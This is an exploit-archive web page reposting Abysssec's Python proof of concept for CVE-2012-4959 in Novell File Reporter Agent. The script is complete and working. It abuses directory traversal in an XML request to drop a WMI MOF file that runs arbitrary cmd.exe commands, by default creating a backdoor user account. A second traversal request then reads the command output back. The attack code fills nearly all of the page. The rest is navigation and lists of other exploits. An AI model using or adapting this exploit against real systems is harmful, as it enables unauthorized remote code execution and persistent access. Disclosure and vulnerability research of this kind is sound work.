首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day
来源:wwww.abysssec.com 作者:Abysssec 发布时间:2012-12-13  

# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit

import httplib, md5, sys

def message_MD5(arg):
 v = "SRS" + arg + "SERVER"
 m = md5.new(v)
 return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):  
 
 vbs = ""
 vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
 vbs += "\"objShell.Run \\\"cmd.exe /C "
 vbs += command
 vbs += "\\\"\""


 mof = """
 #pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
 #pragma deleteclass("MyASEventConsumer", nofail)
 #pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
 #pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

 class MyASEventConsumer
 {
  [key]string Name;
 };

 instance of ActiveScriptEventConsumer as $CONSUMER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "ASEC";
  ScriptingEngine = "VBScript";   
  ScriptText =
 SCRIPT;
 };

 instance of __EventFilter as $FILTER
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Name = "EF";
  Query = "SELECT * FROM __InstanceCreationEvent"
   " WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
  QueryLanguage = "WQL";
 };

 instance of __FilterToConsumerBinding as $BINDING
 {
  CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
  Filter = $FILTER;
  Consumer = $CONSUMER;
 };

 instance of MyASEventConsumer
 {
   Name = "Trigger";
 };
 """.replace('SCRIPT',vbs)

 return mof

def main(argv=None):
 if argv is None:
  argv = sys.argv
 
 if len(argv) != 2:
  print "[!] USAGE : mof \"<command]>\""
  return
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
 msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
 msg += "]]></ROOT>"
 body = message_MD5(msg).upper() + msg
 headers = {"Content-type": "text/xml"}
 
 conn = httplib.HTTPSConnection("192.168.10.20:3037")   
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Command Executed ..."
 print response.status, response.reason
 
 print response.read()
 
 msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
 body = message_MD5(msg).upper() + msg
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 conn.request("POST", "/SRS/CMD",body, headers)
 response = conn.getresponse()
 print "\n...Getting result ..."
 print response.status, response.reason 
 print response.read()
 
 
 conn.close()


if __name__ == "__main__":
    main()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Internet Explorer 6-
·Microsoft windows remote deskt
·Mozilla Firefox HTML/JS DOS Vu
·Smartphone Pentest Framework 0
·Cisco Wireless Lan Controller
·CVE-2012-0217 Intel sysret exp
·PostgreSQL for Linux Payload E
·HP Data Protector DtbClsLogin
·VLC Player 2.0.3 (NULL File) L
·Uploadify jQuery Generic File
·Dolphin3D 1.52 / 1.60 Command
·TVMOBiLi 2.1.0.3557 Denial of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved